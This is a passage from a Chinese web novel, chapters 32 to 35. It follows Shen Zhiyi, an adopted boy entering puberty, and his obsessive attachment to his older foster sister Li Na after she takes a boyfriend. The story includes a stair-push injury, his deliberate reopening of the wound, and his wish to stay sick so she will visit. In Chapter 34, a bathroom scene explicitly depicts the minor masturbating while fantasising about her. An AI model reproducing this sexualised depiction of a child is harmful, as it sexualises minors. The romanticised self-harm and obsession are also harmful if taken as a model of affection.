黎娜说：“下次别往我怀里扑了，你都多大的人了，让你同学看到了不会觉得丢人吗，就算是家人也要保持距离。”
沈知逸对她甜甜地微笑，眼睛弯成月牙，乖巧地答应：“好。”
只要姐姐愿意过来看她，让他做什么都行，只要姐姐能让他看一眼。
感觉姐姐看完他就要走了，沈知逸恋恋不舍地盯着她，似乎要将这两个
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星期没看过的时间都弥补回来。
直到一个穿着黑色西服的男人走过来，低头用嘴唇凑近姐姐，在姐姐漂亮的侧脸的亲了一下，沈知逸瞪大双眼，瞳仁震颤，浑身如失血般冰冷。
他眼中布满阴戾，死死地瞪着那个男人，有些控制不住自己的情绪，上前用力推开他，几乎怒吼出声。
“你怎么来了？！”
秦钰站稳身子，纹丝不动，朝沈知逸勾唇一笑。
“当然是陪你姐姐过来了，顺便看看我的小舅子。”
黎娜捂住被他亲过的脸，瞪他一眼，没捂住的那半边脸颊以肉眼可见的速度变红了，又羞又恼地在他手臂上轻打了一拳。
“你干什么！这么多人！”
秦钰搂住她的肩膀，低头看她涨红的脸，忍不住笑出了声。
“怎么了？我亲我自己女朋友，又不是亲别人的女朋友。”
黎娜瞪他：“你还想亲别人？”
秦钰立刻服软：“我不敢。”
刚才亲脸那个画面已经带给沈知逸极大的冲击力了，现在他一句“女朋友”更是让沈知逸差点晕厥过去。
沈知逸站不住了似的扶住墙壁，看向黎娜，眼神很诡异，是在用一种捉奸的眼神看着他们，还有质问的语气。
“你们什么时候在一起的？”
黎娜没有说话，对他的眼神和语气感到不满。
秦钰回忆了一下：“上个星期吧？”
黎娜冷笑道：“什么时候在一起的你都不知道，还谈什么恋爱！”
秦钰笑个不停，不再逗她，报出一个准确的日期。
沈知逸脸色惨白，他就一个多星期没回家，姐姐就变成别人的了，这么快吗，快到他来不及长大，拼了命奔跑也跑不过时间。
秦钰说：“刚才我看到我以前的音乐老师了，还是当老师好，天天跟小孩待在一起，十多年过去了一点变化都没有，还是那么年轻。”
黎娜温柔微笑：“还记得这个舞台吗，那时候我们在这里跳舞，你们社团在后面弹吉他，一晃眼这么多年过去了，我还觉得就跟昨天一样……”
他们回到曾经的学校，有一段共同经历过的岁月，有说不完的话。
沈知逸看着他们，似乎看到他们和他之间产生一道巨大的裂缝，将他们分割成两个世界。
真刺眼。
沈知逸冷着脸退后几步。
“沈知逸，你等会儿。”
黎娜叫住他，从包里拿出相机想给他拍两张照片。
沈知逸转身就走。
黎娜再次拉住他的后衣领，手指才刚触碰到，就被他一把挥开。
手里的相机滑出去摔到地上，四分五裂。
沈知逸背过身去，强忍泪水。
“我讨厌你们！”
“我讨厌死你们了！”
“黎娜，我最讨厌你了！”
这是沈知逸第一次直呼她姓名。
黎娜不可置信地瞪大了眼睛，一时间没反应过来，随即冷笑一声，用更加冰冷的声音攻击回去。
“你以为我有多喜欢你？”
“没有我，你算个什么东西？”
对啊，他算个什么东西。
他就是黎娜捡回来的一条狗。
沈知逸心如刀绞，用袖子狠狠地擦掉眼泪，大步离开演奏厅。
32. 公狗觉醒
回到车上，黎娜目光呆滞地看着那台坏掉的照相机，想拼装复原回去，但心思显然不在相机上面，弄了很久，零件都装错了。
秦钰凑过来：“再让我亲一下？”
“滚。”
黎娜推开他的脸，语气冷漠。
离开演奏厅后，沈知逸走进老师办公室。
他脸色很差，白得像纸，眼里燃烧着愤怒的火焰，嘴唇紧抿着，怨气很重，连厉鬼见了他都要绕路走。
老师问：“怎么了，沈知逸同学？”
沈知逸说：“我要退宿。”
“退宿？”老师扶了下鼻梁上的眼镜，看他此刻的模样实在算不上冷静，恐怕是冲动之下做出的决定，又问道，“为什么要退宿，你家里人让退的吗？”
沈知逸说：“不是，我自己要退宿。”
“住不习惯吗？”
“我今天就要退宿。”
老师有些头疼：“退宿需要家长签字同意。”
沈知逸：“可以。”
“那你今天联系你家长？”
“好。”
沈知逸先填了一张退宿的单子，然后拿出手机给黎父发信息，斟酌着用词。
沈知逸：【黎叔叔，我想办理退宿，能麻烦您来一趟学校吗？】
黎父：【我现在有事，叫司机过去代替我办理可以吗？】
沈知逸问老师：“我叔叔没空，叫司机叔叔来办理行吗？”
老师说：“不行，必须要监护人。”
沈知逸：【不行，老师说必须要监护人。】
黎父：【好，我马上过去。】
二十分钟后，黎父来到办公室，在退宿单上签字，看向老师：“这样就可以了吧？”
老师说：“可以了。”
黎父带着沈知逸离开办公室。
这个名义上的父亲，其实跟陌生人没什么两样，沈知逸感到很愧疚。
“对不起，黎叔叔，你那么忙，我还把你叫过来。”
黎父一愣，低头看着他的小卷毛，伸手揉了揉，似在安抚。
“这有什么关系，家人遇到困难，我有责任去处理。我很开心，你遇到事情能第一时间想到我。”
沈知逸眼眶发红。
在一个没有血缘关系的男人身上，他竟然感受到了父爱。原来他也能拥有别人一出生就有的东西。
黎父问：“跟你姐姐吵架了？”
沈知逸擦了下眼睛：“没有。”
“是吗，那怎么没有第一时间去找你姐姐？你跟你姐姐的关系，比跟我要亲近多了，我以为你碰到事情会最先想到她。”
沈知逸：“……”
回到宿舍，黎父帮他一起收拾生活用品，他东西不多，很快就收拾好了。
黎父推着行李箱，跟他离开了学校。
上了车，黎父问：“你想要住我那里，还是住你姐姐那里？”
“住姐姐那里。”
沈知逸没有丝毫犹豫。
黎父却渐渐皱起眉头：“等你再大一点了，我给你一套房子住着吧，再给你找两个菲佣，也不能总跟你姐姐住在一起。”
沈知逸心跳加快，意识到黎父已经察觉到了什么，只能笑着点头，乖巧地答应。
“好，我都听黎叔叔的。”
他放在腿上的手指攥紧了裤子，笑意不达眼底，稚嫩的脸庞透着一丝微不可查的凉意。
国际学校下午三点半放学，沈知逸搬完东西不需要再回学校。
到了黎娜家门口，黎父帮他一起把行李搬进家里，就开着车子离开了。
天色渐暗，以残余的夕阳为分割线，将天空分割成半边黑夜半边白天。
营养师过来做饭，看到沈知逸在家里有些诧异。
“小知逸，你不是住在学校里吗？今天怎么回来了？”
沈知逸坐在沙发上，看着笔记本电脑的屏幕：“我退宿了。”
放在键盘上的手指微微颤抖，刚才听到开门声，他还以为是姐姐，没想到是营养师，心里既庆幸又失望。
营养师点头：“住在家里好啊，比住在学校里舒服多了。”
沈知逸垂眸，声音低轻：“要是姐姐也能像你这样想就好了。”
营养师：“啊？”
沈知逸没说话，客厅里没开灯，在电脑屏幕的照射下，他脸色显得冷白，嘴唇紧闭着，眉眼平淡无波，如同一潭死水，毫无生机，幽幽地泛着寒意。
营养师寻思着才几个星期没见，小知逸怎么变得这么阴郁了，一点也没有之前活泼可爱的样子了。
“怎么没开灯，不暗吗？”
营养师打开客厅的灯，把买回来的蔬菜和肉类拎进厨房里。
“那我晚上多做几道菜，你回来了，你姐姐肯定很开心。”
姐姐真的会开心吗？
想象着她看到他时可能会露出的表情，沈知逸忍不住笑了一下，心里很难过。
墙壁上的时钟指向七点半，玄关传来一阵开门声。
沈知逸从沙发上起身，看着营养师朝门口迎过去。
“娜娜啊，今天你弟弟回来了，我做了好多菜，你们姐弟两个都在家真好啊，热闹！”
“沈知逸回来了？！”
黎娜声音陡然升高，带着火山喷发般的汹涌怒火，将营养师营造出的欢乐氛围冲刷得一干二净，家里气压骤降，让人难以呼吸。
营养师不明所以：“是啊，他回来了，你不知道？小知逸没提前跟你说吗？”
黎娜没说话，高跟鞋用力踩在地上，发出响亮的声音，从玄关传过来，速度极快，在朝他的方向逼近。
沈知逸坐回沙发上，低眸看着电脑屏幕，面前落下一道黑影。
“你怎么回来了？！”
黎娜语气很冲。
沈知逸抬起眸子，目光顺着黎娜的黑色长纱裙往上移，不紧不慢的，带着一丝打量的意味，直到看见她的脸，目光才定住，嘴角扯了一下，似乎想笑，却又笑不出来。
“我退宿了。”
黎娜满脑子都是他刚才的眼神，胸腔内怒火横生。
她现在才发现，沈知逸看她的眼神完全不是晚辈看长辈，他在用一种看女人的眼神看她。
好恶心……明明是这么小的孩子，怎么会有那样的眼神。
黎娜用目光在沙发上寻找毯子，想将自己严严实实地包裹起来，但沙发上什么都没有，她露在外面的皮肤发麻，起了一层鸡皮疙瘩。
“退宿？！”
沈知逸轻轻地“嗯”了一声，看着她，苍白的脸上露出笑容，被小卷毛遮挡的眼睛弯弯的，带着少年的稚嫩。
黎娜不寒而栗，一脸嫌恶地将视线移向别处。
“我跟你说过，要么留宿，要么滚蛋！”
沈知
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逸被她吼得浑身一颤，脸上笑容消失。
“那你杀掉我好了，反正我这条命是你救的，我不会离开这里。”
黎娜不敢相信自己的耳朵，被他那句“杀掉我”吓到了，好偏执极端的小孩，沈知逸为什么会是这样的，她仿佛从来没有认识过他。
营养师在一旁看得目瞪口呆，本不想掺和这姐弟间的事，但现在看事态发展不妙，她不该管也得管了。
“哎呀！都是一家人，什么杀掉不杀掉的，多不好啊！”
她怕了拍沈知逸的肩膀：“你是不是惹你姐姐生气了，快给你姐姐道个歉！”
她又用胳膊肘捅了捅黎娜：“你弟弟还小呢！出了什么事你要这样骂他，小男孩儿本来就比较调皮嘛！”
黎娜个子高，重心不稳，被营养师捅得晃了几下，皱眉看着沈知逸，都不好意思开口。
“阿姨，你今天先回家。”
营养师一愣：“现在？”
“对，我要跟他说一些事情。”
“哦，好的，那你们俩别吵架啊。”
临走之前，营养师还在黎娜耳边小声说：“他还那么小，你是姐姐，该让就让着他点嘛！”
黎娜微笑着：“好，下个月的工资就让沈知逸发给你吧。”
营养师：“……”
家里只剩下他们两个人。
沈知逸站起身来，绕过面前的黎娜，去餐厅吃饭。
黎娜站了一会，也跟上去，坐到他对面，像以前一样。
餐桌上没人说话。
沈知逸垂眸看着自己的碗：“不是有事情要跟我说吗？”
黎娜安静吃饭，似乎没听到他讲话。
沈知逸抿紧嘴唇，睫毛垂下来盖住眼里的失落，不再开口。
这顿饭吃完，沈知逸主动把碗筷收进水池里，黎娜上楼回房了。
沈知逸在客厅里写作业。
过了半个多小时，黎娜推开房门，拎着一个超大号行李箱下来。
沈知逸回头一看，立刻放下电脑站起来，朝黎娜跑过去，伸开双臂挡在她面前，抬头看着她，眼里有种不服输的倔强。
“不许走。”
黎娜看都没看他一眼，伸手拂开他瘦削的手臂，从缝隙中钻出去。
沈知逸迅速后退几步，再次挡住她。
这次他眼眶都红了，手指用力抓在围栏上，任由黎娜怎么推，怎么往下压他的手臂，他硬是动都不动一下，就这么僵持着，最后快要撑不住了，他开始向她低头服软。
“姐姐，你能不能别走……”
他喉咙哽住，眼中雾气蔓延。
黎娜冷眼看向他：“那你回去住宿吗？”
沈知逸毫不犹豫：“我不要，姐姐你别赶我走。”
黎娜泄愤般推了他几下，他摇摇晃晃的仍然堵在她面前，于是她握住他的手臂，指甲暗暗用力，尖锐的美甲陷进他皮肤里。
疼痛感难以忽视，沈知逸眉心瞬间紧皱起来，眼底浮上泪水，哀伤地看着她，握着围栏的手臂依然一动不动。
可以，够倔。
黎娜盯着他，冷冷地笑着。
“我以前是不是跟你说过，我脾气很不好，你别找揍。”
她说完，猛地伸手在沈知逸肩膀上用力一推。
沈知逸没想到姐姐会这样对他，一点防备都没有，整个人失去重心，向后倒去。
33. 公狗觉醒
时间似乎变慢了，沈知逸可以清楚地看到自己是怎么摔下去的，还有姐姐站在楼梯上，高傲地俯视着他，眼神那么冰冷，那么陌生，化成一个冰锥刺入他心脏里狠狠搅动，他痛到一时间无法呼吸，身体里血液似乎都停止了流动。
沈知逸闭上眼睛，似将死之人发出麻木的低笑声，带着细微的哽咽，泪水顺着眼角流淌下来。
原来……姐姐这么讨厌他吗？
这个楼梯真的很高诶，姐姐不怕他会摔死吗，是真的一点都不在乎他的死活，所以才会这样残忍地对待他吧。
可是，他做错了什么？
他不过是喜欢姐姐。
他的喜欢，就让她这么厌恶？
沈知逸避开坚硬的台阶，抱住脑袋滚到楼梯下面，额头撞到了椅子上，一阵麻木过后，痛意似海浪般袭来，有点痒痒的感觉，像是有蚂蚁在爬，他的额头好像流血了。
他躺在地上一动不动，如同一具尸体。
黎娜站在楼上观察着他，见他没有反应，额头上的血流了一脸，也有点慌了，快步走下楼，压住裙子半蹲在他身旁，拍了拍他的脸。
“沈知逸。”
沈知逸没反应。
黎娜用力拍他的脸。
“沈知逸！”
沈知逸没有醒来的迹象。
黎娜晃了他几下，他就跟个死人一样随着她的力道晃动，脸色发白，温热的血液流到她手上。
黎娜半跪着地上，低下头，凑过去，伸手去翻沈知逸的眼皮。
她手指刚触碰到他的皮肤，沈知逸突然睁开眼睛，如捕食的猎豹般迅速靠近她，速度快到等她反应过来的时候，沈知逸嘴唇周围的绒毛已经蹭到了她的皮肤，似羽毛划过，带来一阵痒意。
黎娜瞳孔剧烈收缩，一把推开他，在他脸上扇了一巴掌，怒不可遏地站起身来，推着行李箱就走。
“你有病！”
沈知逸被她打得脸侧向一边，用手指摸了摸嘴唇。
没有亲到，差一点点。
黎娜摔门离开，力气大到家里的窗户都颤了一下。
沈知逸躺在地上，看着天花板，额头上的血还在流，流进他眼睛里，视野内一片血红，混合着眼泪流出来，划出几行血泪。
他用手臂挡住眼睛，嘴角颤抖，一会往上扬，一会又往下撇，分不清到底是在哭还是在笑，笑声带着呜咽，呜咽中又响起笑声。
就这么过了一分钟，他猛地收住所有声音，血红的眼睛开始变得涣散，喃喃自语着。
“可是，我真的好喜欢姐姐……”
“不管姐姐怎么对我，我都会原谅姐姐的……”
不管你对我做了什么，我永远都不会怪你的。
沈知逸眼角又滑出几行红色的泪水。
等他再睁开眼睛，窗户外面的天已经亮了。
营养师开门进来，被躺在地上的沈知逸吓了一跳。
“小知逸，你这是怎么了，怎么脸上都是血！”
沈知逸坐起来，摇摇头说：“不知道，好像是不小心摔了一跤。”
营养师难以相信地看着他：“好像是？不小心？”
不是，都把自己摔成这样了，他怎么好像什么都不知道！
“你姐姐呢，知不知道你摔成这样？”
营养师拎着医药箱过来，为沈知逸处理伤口。
沈知逸说：“姐姐知道的，姐姐已经走了。”
“走了？”
沈知逸点头：“嗯，她不会再回来了，她特别讨厌我。”
营养师笑了：“怎么会讨厌你呢，她是你姐姐，喜欢你都来不及。”
沈知逸也笑了：“嗯，姐姐喜欢我。”
他如愿以偿住回家里，但是再也没有看到过黎娜。
钟点工和营养师会照常打扫房子，洗衣做饭。这两个人似乎是他和姐姐之间唯一的联系了，因为姐姐给了她们钱，她们才会留在这里，这说明姐姐还是在乎他的。
上次的钢琴演奏会，他得了第二名，有五千块钱，他存进银行卡里了，月初银行卡里又多了二十万，是黎娜打来的。
他看着银行发来的信息，看了很久，仿佛透过这条信息就能看到黎娜。
每天都过着重复的日子，时间就会变得很快，但是沈知逸额头上的伤口一直没有好。
陈研留意很久了，终于在某一天忍不住问他：“你这额头上的伤很久了吧，怎么还没好？”
沈知逸下意识用手指碰了一下，嘴角有细微的笑意。
“我不会让它好的。”
陈研：“哈？”
沈知逸说：“姐姐临走之前，只给了我这个伤口，我不会让伤口消失的，除非姐姐再给我一个新的东西。”
陈研震惊地看着他，不自觉离他远了一点。
沈知逸搬进了黎娜之前住的房间，用她的沐浴露，睡她的床，让自己身上全是她的味道，会觉得很安心，对她的思念也越发强烈。
有时候他躺在床上，会突然睁开眼睛，看黎娜会不会突然出现在家里，结果是当然不会，他就会很难过，难过到想哭。
刚开始他躺到床上就能睡着，后来就整夜睡不着觉。
关掉灯，卧室里一片漆黑，他躺在床上，能清晰听到床尾有鞋底板落在地上的声音，好像那里站着一个人，在来来回回地走，他睁开眼睛，声音就会消失，他闭上眼准备睡觉，那声音又会响起。
他拿起手机，给黎娜发消息。
沈知逸：【家里好像有人。】
信息旁边出现了一个感叹号，显示被对方拒收，但沈知逸似乎没看到，仍然坚持不懈地发消息。
沈知逸：【他一直在床尾走路，但是我看不见人，姐姐，你什么时候回来？】
后来，沈知逸只能开着灯睡觉。
黎娜搬到名下另一处房产，简单添加了一些生活用品，每天晚上下班回来都要给营养师打电话，没有一天落下过。
“他额头上的伤口还没好吗？”
营养师：“还没有。”
“怎么会这样，是不是凝血功能有问题，明天你带他去医院看看。”
营养师：“……”
“你听见了吗？喂？”
营养师：“凝血功能应该没问题……”
“那是怎么回事？”
营养师：“我看到他总是用手去抠伤口，每次伤口开始结痂，他就用手抠掉，再这样下去以后就要留疤了。”
黎娜：“……”
营养师：“娜娜啊，你要不要回来看看他啊，这孩子怪可怜的，前几天跟我说晚上总是睡不着觉，他还去药店买安眠药，人家
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不卖这个药，他叫我带着他去医院开药呢。”
黎娜：“我帮不了他。”
营养师：“你回来看看他就行，这孩子就是想你了。”
黎娜：“……”
营养师：“娜娜啊，你这都多久没回家了，工作忙走不开吗？该回来看看你弟弟了。”
黎娜：“……”
营养师：“你的心太冷了，我从来没见过你这么心狠的人。”
黎娜挂断电话，深吸口气。
入冬那天，沈知逸高烧不退，已经烧了整整三天，被送到医院挂水。
他躺在病床上，盖着被子，一只手放在外面，手背上插着针，脸又红又烫，嘴唇干裂起皮，说着让人听不清的胡话。
营养师坐在一边看点滴。
病房门口出现了一个女人，身材高挑，穿着黑色的长款大衣，露出一截小腿，被黑色丝袜包裹着，一双复古的尖头皮鞋将脚型修饰得极其性感，熟女气息扑面而来。
营养师看到她，立刻站起身来，两眼放光。
“娜娜，你终于——”
黎娜竖起食指放在嘴唇前面，不悦地“嘘”了一声。
营养师立马闭嘴。
黎娜放下手，脚步极轻地走到病床前，看到沈知逸额角上新鲜露着嫩肉的伤口，目光短暂地停留了几秒钟。
她把手背贴到沈知逸额头上，不到一秒，便飞快收回来，眉心紧皱起来。
“这么烫……”
营养师轻声说：“小知逸要是醒了看到你，肯定很开心！”
她这么说，想让黎娜留下来。
但黎娜不想再给他希望了，面无表情道：“他不会看到我，我要走了。”
营养师不可置信：“你要走了？小知逸还没醒呢，他那么想你，你不等他醒过来？”
“嗯。”
多一句废话都没有，看过沈知逸之后，黎娜就离开了病房。
营养师看着病床上可怜的孩子，心都要碎了。
她到现在都想不通，沈知逸这个孩子到底犯了什么错，能让黎娜这么生气，一直不肯回来看他。
再说小知逸一直都很乖很懂事啊，还特别听黎娜的话，怎么会惹黎娜生气呢？
让营养师万万没想到的是，十分钟过后，黎娜又回来了，手里拎着一袋水果，轻轻地放到了桌子上。
“等他醒了，你盯着他，让他多吃点水果。”
黎娜又离开了。
营养师嘴巴还张着，话却都卡在了喉咙里，最终化成了一声沉重的叹息。
黎娜离开没多久，沈知逸睁开眼睛，目光呆滞地朝病房里看了一圈，没见到人，急得额头上都冒汗了，喉痛又热又痛，他呜呜囔囔地说：“我、我好像听到姐姐的声音了……”
营养师叹了口气：“是，你姐姐来过了，给你放了点水果就走了。”
沈知逸看向桌上那袋水果，猛然坐起身来，掀开被子下床。
营养师吓得半死：“诶，小知逸，你还输着液呢！”
已经晚了，手背里的针歪了，鲜血浸透棉布贴纸，血量多到吸收不住溢出来，顺着指尖蜿蜒而下，滴落到被子上，红得触目惊心。
正好有护士进来，赶紧给沈知逸拔掉针，只见他手背上鼓起一个青色的大包，只能换另一只手重新扎针了。
34. 公狗觉醒
输液器里的药水往下滴，沈知逸靠在床头上，接过营养师递来的蓝莓，已经清洗干净了，是姐姐买的，他吃得很慢很慢。
“阿姨，我已经好了。”
他脸颊透出一种病态的红晕，眼神蔫蔫的，看上去没有精神气。
营养师把手背放到他额头上，被他的高温烫了一下，手瞬间弹开，皱着眉说：“你哪里好了？”
“我真的好了！”
营养师用体温计在他额头上“滴”了一下，显示39.8。
“你没好，安心输液吧。”
沈知逸垂下眸子，卷毛盖住眼睛，闷声闷气地说：“我不想输液。”
“不输液怎么好？”
沈知逸说：“我不想好，我想一直病下去，这样姐姐还会来看我的。”
营养师：“……”
沈知逸看向她：“下次姐姐来了，你一定要把我叫醒。”
营养师叹气：“好，知道了。”
沈知逸在医院挂了三天水，每天都期待着能见到黎娜，但是黎娜再也没有来过。
偶尔在夜深人静时，他偷听到营养师在病房外面讲电话，汇报他的身体情况。
他不明白，姐姐直接过来看他不就好了，为什么要一直问阿姨，那么麻烦，为什么就是不肯来看他，他都烧得这么厉害了。
离开医院后，沈知逸在家里休养了几天，已经完全退烧了，但是喉咙一直没有好，不痛也不痒，就是说话声音有些沙哑，很难听，像鸭子叫一样。
营养师以为他之前烧得太严重，留下后遗症了，赶紧带他去医院详细检查喉咙，最终得出的结果是很健康，什么毛病都没有。
营养师焦急追问：“那他喉咙怎么会这样呢？真的没事吗？要不要再检查一下？”
于是，医生又让沈知逸张大嘴巴，检查他的喉咙，再次确认了一遍，还是没有问题。
医生思考了几秒钟，忽然想到了什么，恍然大悟道：“他声音变成这样，是开始进入青春期发育了，不用太紧张，喉咙确实没有问题。”
营养师愣住，看向坐在椅子上的瘦弱少年，有些恍惚，每天都能看到他，所以并不觉得他有什么变化，现在仔细看看，他脸上的婴儿肥都不见了，脸变得很瘦，鼻梁似乎更高了，眼睛深邃，眉骨也明显了，五官和之前比起来稍微男性化了一点。
营养师松了口气，心中感概万千，喃喃道：“原来是长大了啊。”
沈知逸现在都是骑着山地车上下学，之前用的一直都是黎父的司机，怕黎父不方便，就去买了一辆山地车回来，自己在车少的路上摸索着骑，一个下午就学会了。这样他想去哪里就去哪里，不会再麻烦他们。
从家到学校有六公里，骑车快的话要半个小时，黎父赞成他骑车上学，说这样可以锻炼身体，增强身体素质，叮嘱了他几句路上注意安全，不要跟车抢道。
气温降到零下，每天早上九点半到公司打卡对黎娜来说是件极为痛苦的事情。去年她不上班的时候，都是睡到中午才醒，现在虽然辛苦了点，但每天都过得特别充实。
从温暖的车里下来，黎娜的手指被冷风吹紫了，连骨头都在隐隐作痛，变得僵硬了不少。
她忽然想起什么，拿起手机给营养师打电话。
黎娜：“喂？”
营养师：“喂，娜娜，找我有事啊？”
黎娜：“你去给沈知逸买双暖和的手套。他去年手上长过冻疮，今年要是不注意，还会复发的。”
营养师：“哦，好啊，我再给他买个口罩和帽子吧，他现在骑自行车上下学，肯定很冷。”
黎娜：“再给他买支护手霜，早上看着他擦好，戴好手套，再让他出门。”
营养师：“行，我今天就去买。”
黎娜挂断电话，走进公司。
沈知逸晚上放学回来，摘掉口罩，帽子和手套，叠整齐放到沙发上，打开笔记本电脑开始弄作业。
营养师把晚饭端到餐桌上，三菜一汤，分量不多，因为只有沈知逸一个人吃饭，种类很丰富，他现在正是长身体的时候，饭量特别大，长得也快，半年前的裤子都短了一截，但就是不长肉，裤腰还跟以前一样刚刚好。
营养师喊他：“知逸啊，等会再写作业吧，先过来吃饭！”
“好。”
沈知逸将餐桌上的饭菜一扫而空，回到客厅继续弄作业。
营养师拿着一副黑色手套，走到沈知逸面前，轻轻地放了桌子上。
“以后别戴我给你买的那双手套了，戴你姐姐给你买的，你姐姐买的好，又软又暖和，冬天在外面一点都不冷。”
听到“姐姐”这两个字，沈知逸心脏重重地跳了两下，压抑不住的狂喜，但面上依然没有表情，看着电脑屏幕，淡定地“嗯”了一声，嘴角微不可查地往上翘了一下，稍纵易逝。
营养师心里挺难过的，自从黎娜走了以后，就没见这孩子笑过了。
晚上，这个房子里只剩下沈知逸一个人，安静到能听见外面风吹动树叶的“沙沙”声。
沈知逸弹了会钢琴，把之前的手套收起来，把黎娜买的那双放到沙发上，然后上楼回到黎娜之前住的卧室。
浴室里，雾气缭绕。
沈知逸手放在下面，握住那个东西快速动作，他闭着眼睛，靠在墙壁上，嘴唇微张发出细微的声音。
“姐姐……”
“姐姐……”
“好舒服……喜欢姐姐……”
从浴室里出来，沈知逸眼睛潮湿发红，气息还是紊乱的，他躺到床上拿起手机，发现自己被黎父拉进了一个群里。
群名：【家有二宝】。
群头像里有三个小头像，其中一个是他，还有一个是黎父，剩下的那个是……
沈知逸瞪大眼睛。
是姐姐！
黎父：【过年想去哪里玩？】
黎娜：【哪都不去，在家睡觉。】
看到黎娜的信息跳出来，沈知逸有一瞬间不能呼吸，握着手机的手指都在发抖。
黎父：【你是懒猪，就知道睡觉，知逸想去哪里玩？】
话题来到他身上，沈知逸手足无措到站起来绕着床走了一圈，仿佛黎娜和黎父就站在他面前。
事实上，他已经很久没有跟黎娜在手机上聊过天了，因为黎娜把他拉黑了，而在这个群里，黎娜能接受到他的信息，想到这，他就更紧张了。
沈知逸深吸口气，鼓起勇气打字。
沈知逸：【我也想在家里。】
黎父：【跟你姐姐一样在家里睡觉？】
沈知逸：【不是，我在家里可
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以弹琴。】
黎父：【那过年的时候，你们两个都回来吃顿饭吧，一家人团聚团聚。】
黎娜：【你不是有老婆有儿子，叫我们过去干什么？】
黎父：【你阿姨人挺好的，也想见见你，回来吧，带着知逸一起。】
黎娜：【再说吧。】
沈知逸心里刚燃起期待的小火苗，又瞬间被黎娜浇灭。
再说吧……
到底是去还是不去？
放寒假那天，只用上半天学，沈知逸和陈研在学校吃了午饭。
陈研发出邀请：“等会去打篮球？”
“不去，有事。”
沈知逸用湿巾擦干净嘴巴上的油渍，背着书包走了。
陈研：“……”
和沈知逸当朋友，他真的很寂寞。
离开学校后，沈知逸骑着山地车来到一家珠宝店。
他下车走进去，店员小姐看到是个年纪不大的男孩子，还愣了一下，然后热情地迎上来。
“你好，这位可爱的小先生，要买首饰吗？”
沈知逸点头，眼前的小卷毛跟着晃了晃，如店员小姐所说，是个非常可爱的小先生。
店员小姐问：“是自己戴还是要送人？男人还是女人？”
沈知逸低下脑袋，抠着手指头，有点不好意思。
“送给姐姐……”
“哦，是送给姐姐呀。”
店员小姐带他去手链专区，看他年纪不大：“预算是多少？”
沈知逸说：“五千。”
店员小姐戴上白手套，从柜子里取出一条粉色的水晶手链。
这条手链纤细精致，链条上面围绕着一圈几何图形，有长方形，正方形和三角形，图形上镶嵌着粉水晶，在灯光照耀下散发着温柔知性的光辉。
店员小姐把手链轻轻地放到黑绒布上，递到沈知逸面前。
沈知逸眼睛一亮：“这个多少钱？”
店员小姐说：“四千九百九十九。”
“哦，好。”
以前剪头花一千五都要讨价还价的沈知逸，现在毫不犹豫地掏出手机打开付款码，跟着店员小姐去付钱。
粉水晶手链被放进丝绒盒里，包装好，系上蝴蝶结，放到一个精致的小袋子里，店员小姐双手拎着袋子递给沈知逸。
“谢谢惠顾，祝你和你姐姐天天开心，新年快乐。”
沈知逸双手接过来，眼睛亮晶晶的，嘴角上扬，笑意掩饰不住：“谢谢你。”
“不客气哦。”
沈知逸离开珠宝店，把书包放到车座子上，拉开拉链，找了个不会被压到的位置把小袋子放进去，重新背到背上，骑着自行车回家了。
数着日子到了除夕那天，黎父在群里发了一段视频，里面是他现在住的地方，挂满了红灯笼，花瓶里插着红梅……放眼过去全是红色。
黎父：【你们两个几点钟过来，今天晚上是你们的阿姨亲自下厨。】
黎娜没回，可能在装死。
沈知逸：【下午五点可以吗？】
黎父：【可以，我让司机去接你。】
沈知逸：【不用了，我骑自行车过去，不远的。】
黎父：【也行，路上注意安全，别着急。】
沈知逸：【嗯嗯。】
35. 公狗觉醒
下午四点五十七分，天快黑了，有雪花轻飘飘地落下来，沈知逸骑着山地车来到黎父家。
还是太冷了，他摘掉手套和帽子放进背包里，从手机屏幕里看了一下自己的脸，鼻尖和脸颊被风吹红了，眼睛里覆着水，显得湿亮。
沈知逸把脸埋进衣领里，卷毛挡在眼睛前面，几乎只露出一个鼻子，穿着黑色的羽绒服和运动裤，在苍白的冬天显得有些孤寂。
他找了个不碍事的地方停好自行车，朝坐落在中心位置的房子走过去，边走边看庄园里风景，还是记忆里的模样。
上次来这里还是去年，时间过得很快，不知不觉一年过去了。
在去年的今天，也是一个除夕夜，是姐姐救了他。
走到洋楼大门外，沈知逸看到黎父怀里抱着一个小孩，正蹲在地上放仙女棒。
他主动打招呼：“黎叔叔，新年快乐。”
黎父抬起头，看到他，眼角皱纹显现，露出了一个慈祥的笑容。
“新年快乐，小知逸。”
黎父抱着小孩站起身来，走到沈知逸前面，用手在他头顶比划了一下，笑呵呵地说：“长高了不少嘛！成大人了。”
“嗯。”
沈知逸也笑了，真的很开心。
黎父摸了摸他的脑袋，说出了那句新年团聚时必定会出现的问候语。
“考试考得怎么样啊？”
沈知逸想了一会：“还行。”
“还行是什么意思？你姐姐小时候没考好，就跟我说还行，要是具体问她考了多少分，她就不搭理我。”
沈知逸忍不住笑，嘴角一直在颤抖，极力压制着上扬的弧度。
他说：“有三个A，五个B。”
黎父挑眉：“不错嘛，我听你姐姐说之前学校考试才考了个位数，现在就能拿到了A了，真棒。”
沈知逸挠了挠脖子，被夸得很不好意思，脸红红的。
外面冷，雪下大了，黎父带着沈知逸回到家里。
之前那些菲佣都不在，只有一个看起来三十多岁的女人在忙前忙后，往餐桌上端菜。
她微胖，脸圆圆的，留着短发齐刘海，五官也偏圆润，围着围裙，个子不高，看起来很温柔。
黎父把小孩放到婴儿床里，塞了个奶嘴，给沈知逸介绍：“这是我现任妻子，姓张，叫她张阿姨就行。”
沈知逸乖巧喊人：“张阿姨，新年快乐。”
“新年快乐，你就是小知逸吧？你叔叔经常跟我提起你，说你钢琴弹得特别好，还拿过奖。”
张阿姨在围裙上擦干净手，捏了捏沈知逸的小脸，一点肉都没有。
“太瘦了，等会多吃点肉，我手艺特别好哦。”
沈知逸点头。
张阿姨看向黎父：“娜娜快到了吗？我做了她爱吃蛋黄鸡翅和菠萝排骨。”
黎父拿起手机：“我打个电话催催她。”
沈知逸坐到沙发上，靠近阳台的位置，偷偷听黎父打电话。
黎父：“你不来？”
黎父：“你阿姨给你做了那么多好吃的，你一点面子都不给？这大过年的，是一家人团聚的日子，你不来算怎么回事？”
黎父：“不许去酒吧鬼混，快点过来，全家人都在等你吃饭！”
黎父挂断电话，推开阳台门出来。
沈知逸貌似不经意地问：“姐姐来吗？”
黎父哼了一声：“她当然来，不来我就用八抬大轿把她抬过来。”
沈知逸心中一喜，又有点紧张，马上就能见到姐姐了。
等到七点钟，黎娜连个影儿都没有，他们都饿着肚子不打算等了，拿起筷子吃饭。
